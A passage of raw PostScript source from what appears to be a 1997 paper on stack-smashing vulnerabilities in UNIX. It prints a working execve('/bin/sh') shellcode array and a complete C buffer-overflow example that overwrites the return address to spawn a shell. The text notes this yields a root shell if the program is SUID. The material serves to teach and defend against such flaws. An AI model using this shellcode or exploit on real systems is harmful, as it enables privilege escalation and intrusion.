32 0.200 0 (ll )D -0.400 0 (c)A (od)S 14.400 0 32 -0.400 0 (e )D 0.100 0 (s)A -0.400 0 (e)A (qu)S -0.400 0 (e)A (n)S -0.400 0 (ce)A 14.000 0 32 (. )W 0.600 0 (W)A (h)S -0.400 0 (e)A 14.000 0 32 (n )W 0.200 0 (t)A (h)S 14.400 0 32 -0.400 0 (e )D ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 2968 5435 M 0.200 0 (main\(\))A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3268 5410 M -0.300 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A 14.000 0 32 (on )W -0.400 0 (c)A (o)S 0.200 0 (m)A (p)S 0.200 0 (l)A -0.400 0 (e)A 0.200 0 (t)A -0.400 0 (e)A 0.100 0 (s)A 14.000 0 32 (, )W -0.400 0 (c)A (on)S 0.200 0 (t)A -0.300 0 (r)A (o)S 0.200 0 (l)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5587 M -0.064 0 (jumps to our shell code sequence, and returns an interactive shell.)A ; 586 2017 N M 6 6 rr : 0 0 0 sco O ; 586 2017 N M 6 6 rr : 0 0 0 sco O ; 592 2017 N M 3820 6 rr : 0 0 0 sco O ; 4412 2017 N M 6 6 rr : 0 0 0 sco O ; 4412 2017 N M 6 6 rr : 0 0 0 sco O ; 586 2023 N M 6 79 rr : 0 0 0 sco O ; 4412 2023 N M 6 79 rr : 0 0 0 sco O ; : 511 2017 3982 383 rc 0 0 0 sco (F5_67) cvn F5 67 xF F5_67 Ji 612 2102 M -0.200 0 (char shellcode[] =)A ; : 511 2017 3982 383 rc 0 0 0 sco F5_67 Ji 1512 2102 M -0.200 0 ("\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b")A ; 586 2102 N M 6 71 rr : 0 0 0 sco O ; 4412 2102 N M 6 71 rr : 0 0 0 sco O ; : 511 2017 3982 383 rc 0 0 0 sco F5_67 Ji 1512 2173 M -0.200 0 ("\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd")A ; 586 2173 N M 6 71 rr : 0 0 0 sco O ; 4412 2173 N M 6 71 rr : 0 0 0 sco O ; : 511 2017 3982 383 rc 0 0 0 sco F5_67 Ji 1512 2244 M -0.200 0 ("\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh";)A ; 586 2244 N M 6 71 rr : 0 0 0 sco O ; 4412 2244 N M 6 71 rr : 0 0 0 sco O ; 586 2394 N M 6 6 rr : 0 0 0 sco O ; 586 2394 N M 6 6 rr : 0 0 0 sco O ; 592 2394 N M 3820 6 rr : 0 0 0 sco O ; 4412 2394 N M 6 6 rr : 0 0 0 sco O ; 4412 2394 N M 6 6 rr : 0 0 0 sco O ; 586 2315 N M 6 79 rr : 0 0 0 sco O ; 4412 2315 N M 6 79 rr : 0 0 0 sco O ; 586 2697 N M 6 6 rr : 0 0 0 sco O ; 586 2697 N M 6 6 rr : 0 0 0 sco O ; 592 2697 N M 3820 6 rr : 0 0 0 sco O ; 4412 2697 N M 6 6 rr : 0 0 0 sco O ; 4412 2697 N M 6 6 rr : 0 0 0 sco O ; 586 2703 N M 6 79 rr : 0 0 0 sco O ; 4412 2703 N M 6 79 rr : 0 0 0 sco O ; : 511 2697 3982 1803 rc 0 0 0 sco F5_67 Ji 612 2782 M -0.200 0 (char shellcode[] =)A ; 586 2782 N M 6 71 rr : 0 0 0 sco O ; 4412 2782 N M 6 71 rr : 0 0 0 sco O ; : 511 2697 3982 1803 rc 0 0 0 sco F5_67 Ji 612 2853 M -0.200 0 ( "\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b")A ; 586 2853 N M 6 71 rr : 0 0 0 sco O ; 4412 2853 N M 6 71 rr : 0 0 0 sco O ; : 511 2697 3982 1803 rc 0 0 0 sco F5_67 Ji 612 2924 M -0.200 0 ( "\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd")A ; 586 2924 N M 6 71 rr : 0 0 0 sco O ; 4412 2924 N M 6 71 rr : 0 0 0 sco O ; : 511 2697 3982 1803 rc 0 0 0 sco F5_67 Ji 612 2995 M -0.200 0 ( "\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh";)A ; 586 2995 N M 6 71 rr : 0 0 0 sco O ; 4412 2995 N M 6 71 rr : 0 0 0 sco O ; 586 3066 N M 6 71 rr : 0 0 0 sco O ; 4412 3066 N M 6 71 rr : 0 0 0 sco O ; : 511 2697 3982 1803 rc 0 0 0 sco F5_67 Ji 612 3137 M -0.200 0 (char large_string[128];)A ; 586 3137 N M 6 71 rr : 0 0 0 sco O ; 4412 3137 N M 6 71 rr : 0 0 0 sco O ; 586 3208 N M 6 71 rr : 0 0 0 sco O ; 4412 3208 N M 6 71 rr : 0 0 0 sco O ; : 511 2697 3982 1803 rc 0 0 0 sco F5_67 Ji 612 3279 M -0.200 0 (void main\(\) {)A ; 586 3279 N M 6 71 rr : 0 0 0 sco O ; 4412 3279 N M 6 71 rr : 0 0 0 sco O ; : 511 2697 3982 1803 rc 0 0 0 sco F5_67 Ji 612 3350 M -0.200 0 ( char buffer[96];)A ; 586 3350 N M 6 71 rr : 0 0 0 sco O ; 4412 3350 N M 6 71 rr : 0 0 0 sco O ; : 511 2697 3982 1803 rc 0 0 0 sco F5_67 Ji 612 3421 M -0.200 0 ( int i;)A ; 586 3421 N M 6 71 rr : 0 0 0 sco O ; 4412 3421 N M 6 71 rr : 0 0 0 sco O ; : 511 2697 3982 1803 rc 0 0 0 sco F5_67 Ji 612 3492 M -0.200 0 ( long *long_ptr = \(long *\) large_string; /*long_ptr takes the address of large_string /*)A ; 586 3492 N M 6 71 rr : 0 0 0 sco O ; 4412 3492 N M 6 71 rr : 0 0 0 sco O ; 586 3563 N M 6 71 rr : 0 0 0 sco O ; 4412 3563 N M 6 71 rr : 0 0 0 sco O ; : 511 2697 3982 1803 rc 0 0 0 sco F5_67 Ji 612 3634 M -0.200 0 ( /* large_string\222s first 32 bytes are filled with the address of buffer */)A ; 586 3634 N M 6 71 rr : 0 0 0 sco O ; 4412 3634 N M 6 71 rr : 0 0 0 sco O ; : 511 2697 3982 1803 rc 0 0 0 sco F5_67 Ji 612 3705 M -0.200 0 ( for \(i = 0; i < 32; i++\))A ; 586 3705 N M 6 71 rr : 0 0 0 sco O ; 4412 3705 N M 6 71 rr : 0 0 0 sco O ; : 511 2697 3982 1803 rc 0 0 0 sco F5_67 Ji 612 3776 M -0.200 0 ( *\(long_ptr + i\) = \(int\) buffer;)A ; 586 3776 N M 6 71 rr : 0 0 0 sco O ; 4412 3776 N M 6 71 rr : 0 0 0 sco O ; 586 3847 N M 6 71 rr : 0 0 0 sco O ; 4412 3847 N M 6 71 rr : 0 0 0 sco O ; : 511 2697 3982 1803 rc 0 0 0 sco F5_67 Ji 612 3918 M -0.200 0 ( /* copy the contents of shellcode into large_string */)A ; 586 3918 N M 6 71 rr : 0 0 0 sco O ; 4412 3918 N M 6 71 rr : 0 0 0 sco O ; : 511 2697 3982 1803 rc 0 0 0 sco F5_67 Ji 612 3989 M -0.200 0 ( for \(i = 0; i < strlen\(shellcode\); i++\))A ; 586 3989 N M 6 71 rr : 0 0 0 sco O ; 4412 3989 N M 6 71 rr : 0 0 0 sco O ; : 511 2697 3982 1803 rc 0 0 0 sco F5_67 Ji 612 4060 M -0.200 0 ( large_string[i] = shellcode[i];)A ; 586 4060 N M 6 71 rr : 0 0 0 sco O ; 4412 4060 N M 6 71 rr : 0 0 0 sco O ; 586 4131 N M 6 71 rr : 0 0 0 sco O ; 4412 4131 N M 6 71 rr : 0 0 0 sco O ; : 511 2697 3982 1803 rc 0 0 0 sco F5_67 Ji 612 4202 M -0.200 0 ( /* buffer gets the shellcode and 32 pointers back to itself */)A ; 586 4202 N M 6 71 rr : 0 0 0 sco O ; 4412 4202 N M 6 71 rr : 0 0 0 sco O ; : 511 2697 3982 1803 rc 0 0 0 sco F5_67 Ji 612 4273 M -0.200 0 ( strcpy\(buffer,large_string\);)A ; 586 4273 N M 6 71 rr : 0 0 0 sco O ; 4412 4273 N M 6 71 rr : 0 0 0 sco O ; : 511 2697 3982 1803 rc 0 0 0 sco F5_67 Ji 612 4344 M -0.200 0 (})A ; 586 4344 N M 6 71 rr : 0 0 0 sco O ; 4412 4344 N M 6 71 rr : 0 0 0 sco O ; 586 4494 N M 6 6 rr : 0 0 0 sco O ; 586 4494 N M 6 6 rr : 0 0 0 sco O ; 592 4494 N M 3820 6 rr : 0 0 0 sco O ; 4412 4494 N M 6 6 rr : 0 0 0 sco O ; 4412 4494 N M 6 6 rr : 0 0 0 sco O ; 586 4415 N M 6 79 rr : 0 0 0 sco O ; 4412 4415 N M 6 79 rr : 0 0 0 sco O ; LH savelevel1 restore pagesave restore (%%[ Page: 18 ]%%) = %%PageTrailer %%Page: 19 19 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3935 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4128 54 M 0.500 0 (19)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 1229 2586 M 0.201 0 (Figure 9.c)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 1586 2587 M -0.003 0 ( - Buffer Overflow Example 9.a before and after )A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Courier (F4) cvn 0.783 (Courier) cvn /Type1 T (Courier) cvn mF (F4_83) cvn F4 83 xF F4_83 Ji 3213 2596 M 0.200 0 (strcpy\(\))A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 3613 2587 M 0.108 0 ( call.)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_100) cvn F2 100 xF F2_100 Ji 912 2884 M -0.100 0 (E)A 1.000 0 (x)A -0.400 0 (a)A 0.200 0 (m)A (p)S 0.200 0 (l)A 1.400 0 32 -0.400 0 (e )D 1.000 0 32 (9.b )W -0.400 0 (a)A 1.000 0 32 (nd )W -0.600 0 (F)A 0.200 0 (i)A -1.000 0 (g)A (u)S -0.300 0 (r)A 1.400 0 32 -0.400 0 (e )D (9.)S 1.400 0 32 -0.400 0 (c )D (d)S -0.400 0 (e)A 0.200 0 (t)A -0.400 0 (a)A 0.800 0 32 0.200 0 (il )D 1.400 0 32 -0.400 0 (a )D -0.300 0 (f)A (u)S 1.800 0 32 0.200 0 (ll )D -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (a)A 0.200 0 (m)A (p)S 0.200 0 (l)A 2.400 0 32 -0.400 0 (e )D (o)S 2.300 0 32 -0.300 0 (f )D 2.400 0 32 -0.400 0 (a )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 2.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 3.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -0.400 0 (e)A (qu)S -0.400 0 (e)A (n)S -0.400 0 (ce)A 2.000 0 32 (. )W -2.300 0 (I)A 2.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 0.200 0 (i)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3061 M -0.400 0 (c)A (od)S 2.400 0 32 -0.400 0 (e )D -0.200 0 (w)A -0.400 0 (e)A -0.300 0 (r)A 2.400 0 32 -0.400 0 (e c)D (o)S 0.200 0 (m)A (p)S 0.200 0 (il)A -0.400 0 (e)A 3.000 0 32 (d, )W -0.400 0 (a)A 3.000 0 32 (nd )W -0.400 0 (c)A (on)S -0.300 0 (f)A 0.200 0 (i)A -1.000 0 (g)A (u)S -0.300 0 (r)A -0.400 0 (e)A 3.000 0 32 (d )W -0.200 0 (w)A 0.200 0 (it)A 3.000 0 32 (h )W 0.400 0 (S)A -0.200 0 (U)A -2.300 0 (I)A 3.200 0 32 -0.200 0 (D )D -0.300 0 (r)A (oo)S 2.800 0 32 0.200 0 (t )D (p)S -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (mi)A 0.100 0 (ss)A 0.200 0 (i)A (on)S 0.100 0 (s)A 3.000 0 32 (, )W -0.400 0 (a)A 3.000 0 32 (nd )W 0.200 0 (m)A -0.400 0 (a)A (d)S 3.400 0 32 -0.400 0 (e )D -0.200 0 (w)A (o)S -0.300 0 (r)A 0.200 0 (l)A 3.000 0 32 (d )W -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (t)A -0.400 0 (a)A (b)S 0.200 0 (l)A -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3238 M 5.000 0 32 (on )W 5.400 0 32 -0.400 0 (a )D -0.200 0 (UN)A -2.300 0 (I)A 5.200 0 32 -0.200 0 (X )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (m)A 5.000 0 32 (, )W 5.800 0 32 0.200 0 (it )D -0.200 0 (w)A (ou)S 0.200 0 (l)A 6.000 0 32 (d )W -0.300 0 (r)A -0.400 0 (e)A 0.200 0 (t)A (u)S -0.300 0 (r)A 6.000 0 32 (n )W -0.400 0 (a)A 6.000 0 32 (n )W 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (ac)A 0.200 0 (ti)A (v)S -0.400 0 (e)A 6.000 0 32 (, p)W -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 6.000 0 32 (d )W 0.100 0 (s)A (h)S -0.400 0 (e)A 5.800 0 32 0.200 0 (ll )D -0.300 0 (f)A (o)S 6.300 0 32 -0.300 0 (r )D -0.400 0 (a)A (n)S 9.000 0 32 -3.000 0 (y )D (u)S 0.100 0 (s)A -0.400 0 (e)A 6.300 0 32 -0.300 0 (r )D 6.000 0 32 (on )W 0.200 0 (t)A (h)S 6.400 0 32 -0.400 0 (e )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (m)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3415 M -0.193 0 (who ran the resulting binary.)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_117) cvn F2 117 xF F2_117 Ji 612 3593 M 0.153 0 (9.1 Creative stack smashing)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 3798 M -0.100 0 (E)A 1.000 0 (x)A -0.400 0 (a)A 0.200 0 (m)A (p)S 0.200 0 (l)A 6.400 0 32 -0.400 0 (e )D 6.000 0 32 (9.b )W 0.200 0 (i)A 5.900 0 32 0.100 0 (s )D (no)S 5.800 0 32 0.200 0 (t )D 6.400 0 32 -0.400 0 (a )D 0.200 0 (t)A -3.000 0 (y)A (p)S 0.200 0 (i)A -0.400 0 (ca)A 5.800 0 32 0.200 0 (l )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 6.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 7.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -0.400 0 (e)A (qu)S -0.400 0 (e)A (n)S -0.400 0 (ce)A 6.000 0 32 (. )W 7.000 0 32 ( )W 0.400 0 (S)A -0.200 0 (U)A -2.300 0 (I)A 7.200 0 32 -0.200 0 (D )D -0.300 0 (r)A (oo)S 6.800 0 32 0.200 0 (t )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 6.900 0 32 0.100 0 (s )D 0.200 0 (i)A (n)S -0.400 0 (c)A 0.200 0 (l)A (ud)S -0.400 0 (e)A (d)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3975 M 0.200 0 (i)A 3.000 0 32 (n )W -0.200 0 (UN)A -2.300 0 (I)A 3.200 0 32 -0.200 0 (X )D (d)S 0.200 0 (i)A 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A 0.200 0 (i)A (bu)S 0.200 0 (ti)A (on)S 2.900 0 32 0.100 0 (s )D -0.400 0 (a)A -0.300 0 (r)A 3.400 0 32 -0.400 0 (e )D (no)S 2.800 0 32 0.200 0 (t )D (p)S -0.300 0 (r)A -0.400 0 (ec)A (o)S 0.200 0 (m)A (p)S 0.200 0 (il)A -0.400 0 (e)A 3.000 0 32 (d )W -0.200 0 (w)A 0.200 0 (it)A 3.000 0 32 (h )W -0.400 0 (\223)A 0.100 0 (s)A (h)S -0.400 0 (e)A 2.800 0 32 0.200 0 (ll )D -0.400 0 (c)A (od)S 3.400 0 32 -0.400 0 (e\224 a)D 2.900 0 32 0.100 0 (s )D (p)S -0.400 0 (a)A -0.300 0 (r)A 2.800 0 32 0.200 0 (t )D (o)S 4.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 4.400 0 32 -0.400 0 (e )D (b)S 0.200 0 (i)A (n)S -0.400 0 (a)A -0.300 0 (r)A -3.000 0 (y)A 4.000 0 32 (. )W -0.100 0 (T)A 4.000 0 32 (o )W -0.400 0 (e)A 1.000 0 (x)A (p)S 0.200 0 (l)A (o)S 0.200 0 (it)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4152 M 0.200 0 (t)A (h)S -0.400 0 (e)A 0.100 0 (s)A 17.400 0 32 -0.400 0 (e )D 0.200 0 (t)A -3.000 0 (y)A (p)S 17.400 0 32 -0.400 0 (e )D (o)S 17.300 0 32 -0.300 0 (f )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 0.100 0 (s)A 17.000 0 32 (, )W 0.100 0 (s)A (o)S 0.200 0 (m)A 17.400 0 32 -0.400 0 (e )D 0.200 0 (m)A -0.400 0 (ea)A (n)S 16.900 0 32 0.100 0 (s )D 0.200 0 (m)A (u)S 0.100 0 (s)A 16.800 0 32 0.200 0 (t )D (b)S 17.400 0 32 -0.400 0 (e )D (u)S 0.100 0 (s)A -0.400 0 (e)A 17.000 0 32 (d )W 0.200 0 (t)A 17.000 0 32 (o )W 0.200 0 (i)A (n)S 0.100 0 (s)A -0.400 0 (e)A -0.300 0 (r)A 16.800 0 32 0.200 0 (t t)D (h)S 17.400 0 32 -0.400 0 (e )D ; : 0 0 4883 6391 rc 0 0 0 sco F4_83 Ji 3334 4177 M 0.200 0 (shellcode)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3784 4152 M 18.000 0 32 ( )W -0.400 0 (a)A -0.300 0 (rr)A -0.400 0 (a)A 21.000 0 32 -3.000 0 (y )D 0.200 0 (i)A (n)S 0.200 0 (t)A 18.000 0 32 (o )W 0.200 0 (t)A (h)S -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4329 M -0.090 0 (runtime environment. Stack smashers have devised creative ways to accomplish this.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 4506 M -2.300 0 (I)A 30.000 0 32 (n o)W -0.300 0 (r)A (d)S -0.400 0 (e)A 30.300 0 32 -0.300 0 (r )D 0.200 0 (t)A 30.000 0 32 (o )W 0.200 0 (i)A (n)S 0.200 0 (j)A -0.400 0 (ec)A 29.800 0 32 0.200 0 (t t)D (h)S 30.400 0 32 -0.400 0 (e )D 0.100 0 (s)A (h)S -0.400 0 (e)A 29.800 0 32 0.200 0 (ll )D -0.400 0 (c)A (od)S 30.400 0 32 -0.400 0 (e )D 0.200 0 (i)A (n)S 0.200 0 (t)A 30.000 0 32 (o )W 0.200 0 (t)A (h)S 30.400 0 32 -0.400 0 (e )D -0.300 0 (r)A (un)S 0.200 0 (tim)A 30.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (o)S -0.400 0 (ce)A 0.100 0 (ss)A 31.000 0 32 (, )W 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 31.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S -0.400 0 (e)A -0.300 0 (r)A 30.900 0 32 0.100 0 (s )D (h)S -0.400 0 (a)A (v)S -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4683 M 0.200 0 (m)A -0.400 0 (a)A (n)S 0.200 0 (i)A (pu)S 0.200 0 (l)A -0.400 0 (a)A 0.200 0 (t)A -0.400 0 (e)A 25.000 0 32 (d )W -0.400 0 (c)A (o)S 0.200 0 (mm)A -0.400 0 (a)A 25.000 0 32 (nd )W 0.200 0 (li)A (n)S 25.400 0 32 -0.400 0 (e a)D -0.300 0 (r)A -1.000 0 (g)A (u)S 0.200 0 (m)A -0.400 0 (e)A (n)S 0.200 0 (t)A 0.100 0 (s)A 25.000 0 32 (, )W 0.100 0 (s)A (h)S -0.400 0 (e)A 24.800 0 32 0.200 0 (ll )D -0.400 0 (e)A (nv)S 0.200 0 (i)A -0.300 0 (r)A (on)S 0.200 0 (m)A -0.400 0 (e)A (n)S 24.800 0 32 0.200 0 (t )D (v)S -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (a)A (b)S 0.200 0 (l)A -0.400 0 (e)A 0.100 0 (s)A 25.000 0 32 (, )W -0.400 0 (a)A 26.000 0 32 (nd )W 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (ac)A 0.200 0 (ti)A (v)S 26.400 0 32 -0.400 0 (e )D 0.200 0 (i)A (npu)S 0.200 0 (t)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4860 M -0.300 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A (on)S 5.900 0 32 0.100 0 (s )D -0.200 0 (w)A 0.200 0 (it)A 6.000 0 32 (h )W 0.200 0 (t)A (h)S 6.400 0 32 -0.400 0 (e )D (n)S -0.400 0 (ece)A 0.100 0 (ss)A -0.400 0 (a)A -0.300 0 (r)A 9.000 0 32 -3.000 0 (y )D 0.100 0 (s)A (h)S -0.400 0 (e)A 5.800 0 32 0.200 0 (ll )D -0.400 0 (c)A (od)S 6.400 0 32 -0.400 0 (e )D 0.100 0 (s)A -0.400 0 (e)A (qu)S -0.400 0 (e)A (n)S -0.400 0 (ce)A 6.000 0 32 (. )W -0.200 0 (N)A (o)S 5.800 0 32 0.200 0 (t )D (on)S 0.200 0 (l)A 9.000 0 32 -3.000 0 (y )D 6.000 0 32 (do )W 0.200 0 (m)A (o)S 0.100 0 (s)A 6.800 0 32 0.200 0 (t )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 7.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 8.000 0 32 -1.000 0 (g )D -0.400 0 (e)A 1.000 0 (x)A (p)S 0.200 0 (l)A (o)S 0.200 0 (it)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5037 M -0.300 0 (r)A -0.400 0 (e)A 0.200 0 (l)A 5.000 0 32 -3.000 0 (y )D 2.000 0 32 (upon )W 0.100 0 (s)A (h)S -0.400 0 (e)A 1.800 0 32 0.200 0 (ll )D -0.400 0 (c)A (od)S 2.400 0 32 -0.400 0 (e )D 0.200 0 (t)A 2.000 0 32 (o )W -0.400 0 (acc)A (o)S 0.200 0 (m)A (p)S 0.200 0 (li)A 0.100 0 (s)A 2.000 0 32 (h )W 0.200 0 (t)A (h)S -0.400 0 (e)A 0.200 0 (i)A 2.300 0 32 -0.300 0 (r )D 0.200 0 (t)A -0.400 0 (a)A 0.100 0 (s)A 2.000 0 32 (k, bu)W 1.800 0 32 0.200 0 (t t)D (h)S -0.400 0 (e)A 0.100 0 (s)A 2.400 0 32 -0.400 0 (e )D 0.200 0 (t)A -3.000 0 (y)A (p)S 2.400 0 32 -0.400 0 (e )D (o)S 3.300 0 32 -0.300 0 (f )D -0.400 0 (e)A 1.000 0 (x)A (p)S 0.200 0 (l)A (o)S 0.200 0 (it)A 2.900 0 32 0.100 0 (s )D (d)S -0.400 0 (e)A (p)S -0.400 0 (e)A 3.000 0 32 (nd on kno)W -0.200 0 (w)A 0.200 0 (i)A (n)S 4.000 0 32 -1.000 0 (g )D -0.400 0 (a)A 0.200 0 (t)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5214 M -0.200 0 (w)A (h)S -0.400 0 (a)A 14.800 0 32 0.200 0 (t )D -0.400 0 (a)A (dd)S -0.300 0 (r)A -0.400 0 (e)A 15.900 0 32 0.100 0 (ss )D 0.200 0 (i)A 16.000 0 32 (n )W 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (m)A (o)S -0.300 0 (r)A 19.000 0 32 -3.000 0 (y )D 0.200 0 (t)A (h)S 0.200 0 (i)A 15.900 0 32 0.100 0 (s s)D (h)S -0.400 0 (e)A 15.800 0 32 0.200 0 (ll )D -0.400 0 (c)A (od)S 16.400 0 32 -0.400 0 (e )D -0.200 0 (w)A 15.800 0 32 0.200 0 (ill )D -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (s)A 0.200 0 (i)A (d)S -0.400 0 (e)A 16.000 0 32 (. )W -0.100 0 (T)A -0.400 0 (a)A (k)S 0.200 0 (i)A (n)S 17.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 0.200 0 (i)A 15.900 0 32 0.100 0 (s )D 0.200 0 (i)A (n)S 0.200 0 (t)A 16.000 0 32 (o )W -0.400 0 (c)A (on)S 0.100 0 (s)A 0.200 0 (i)A (d)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A 16.000 0 32 (on, )W 0.200 0 (m)A -0.400 0 (a)A (n)S -3.000 0 (y)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5391 M 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 7.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S -0.400 0 (e)A -0.300 0 (r)A 6.900 0 32 0.100 0 (s )D (h)S -0.400 0 (a)A (v)S 7.400 0 32 -0.400 0 (e )D (p)S -0.400 0 (a)A (dd)S -0.400 0 (e)A 7.000 0 32 (d )W 0.200 0 (t)A (h)S -0.400 0 (e)A 0.200 0 (i)A 7.300 0 32 -0.300 0 (r )D 0.100 0 (s)A (h)S -0.400 0 (e)A 6.800 0 32 0.200 0 (ll )D -0.400 0 (c)A (od)S 7.400 0 32 -0.400 0 (e )D -0.200 0 (w)A 0.200 0 (it)A 7.000 0 32 (h )W -0.200 0 (NU)A 10.100 0 32 -2.100 0 (LL )D -0.300 0 (\()A (o)S 8.300 0 32 -0.300 0 (r )D (no)S -0.300 0 (-)A (op)S 8.300 0 32 -0.300 0 (\) )D -0.400 0 (a)A 0.100 0 (ss)A -0.400 0 (e)A 0.200 0 (m)A (b)S 0.200 0 (l)A 11.000 0 32 -3.000 0 (y )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (on)S 7.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S 0.200 0 (i)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5568 M -1.000 0 (g)A 0.200 0 (i)A (v)S -0.400 0 (e)A 7.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S 8.400 0 32 -0.400 0 (e )D 0.100 0 (s)A (h)S -0.400 0 (e)A 7.800 0 32 0.200 0 (ll )D -0.400 0 (c)A (od)S 8.400 0 32 -0.400 0 (e a )D -0.300 0 (\221)A -0.200 0 (w)A 0.200 0 (i)A (d)S -0.400 0 (e)A 8.300 0 32 -0.300 0 (r )D 0.100 0 (s)A (p)S -0.400 0 (ace)A 8.300 0 32 -0.300 0 (\222 )D 0.200 0 (i)A 8.000 0 32 (n )W 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (m)A (o)S -0.300 0 (r)A 11.000 0 32 -3.000 0 (y )D -0.400 0 (a)A 8.000 0 32 (nd )W 0.200 0 (m)A -0.400 0 (a)A (k)S -0.400 0 (e)A 7.900 0 32 0.100 0 (s )D 7.800 0 32 0.200 0 (it )D -0.400 0 (ea)A 0.100 0 (s)A 0.200 0 (i)A -0.400 0 (e)A 8.300 0 32 -0.300 0 (r )D 